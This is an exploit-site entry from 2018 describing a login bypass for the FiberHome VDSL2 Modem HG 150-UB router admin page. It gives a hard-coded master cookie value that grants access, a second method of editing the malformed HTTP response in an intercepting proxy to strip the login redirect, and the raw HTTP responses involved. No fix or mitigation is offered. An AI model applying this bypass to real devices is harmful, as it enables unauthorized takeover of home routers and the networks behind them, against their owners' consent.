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zdtNoman Riffat1337DAY-ID-30117
HistoryApr 04, 2018 - 12:00 a.m.

FiberHome VDSL2 Modem HG 150-UB Login Bypass Vulnerability

2018-04-0400:00:00
Noman Riffat
0day.today
35

Exploit for hardware platform in category web applications

# Exploit Title: FiberHome VDSL2 Modem HG 150-UB Login Bypass
# Exploit Author: Noman Riffat
# Vendor Homepage: http://www.fiberhome.com/

The vulnerability exists in plain text & hard coded cookie. Using any
cookie manager extension, an attacker can bypass login page by setting
the following Master Cookie.

Cookie: Name=0admin

Then access the homepage which will no longer require
authentication.http://192.168.10.1/

Due to improper session implementation, there is another way to bypass
login. The response header of homepage without authentication looks
like this.

HTTP/1.1 200 Ok
Server: micro_httpd
Cache-Control: no-cache
Date: Tue, 03 Apr 2018 18:33:12 GMT
Set-Cookie: Name=; path=/
Content-Type: text/html
Connection: close

<html><head><script language='javascript'>
parent.location='login.html'
</script></head><body></body></html>HTTP/1.1 200 Ok
Server: micro_httpd
Cache-Control: no-cache
Date: Tue, 03 Apr 2018 18:33:12 GMT
Content-Type: text/html
Connection: close

<html>
<head>
.. continue to actual homepage source

The response header looks totally messed up and by triggering burp
suite and modifying it to following will grant access to homepage
without authentication.

HTTP/1.1 200 Ok
Server: micro_httpd
Cache-Control: no-cache
Date: Tue, 03 Apr 2018 18:33:12 GMT
Set-Cookie: Name=; path=/
Content-Type: text/html
Connection: close

<html>
<head>
.. continue to actual homepage source

#  0day.today [2018-04-05]  #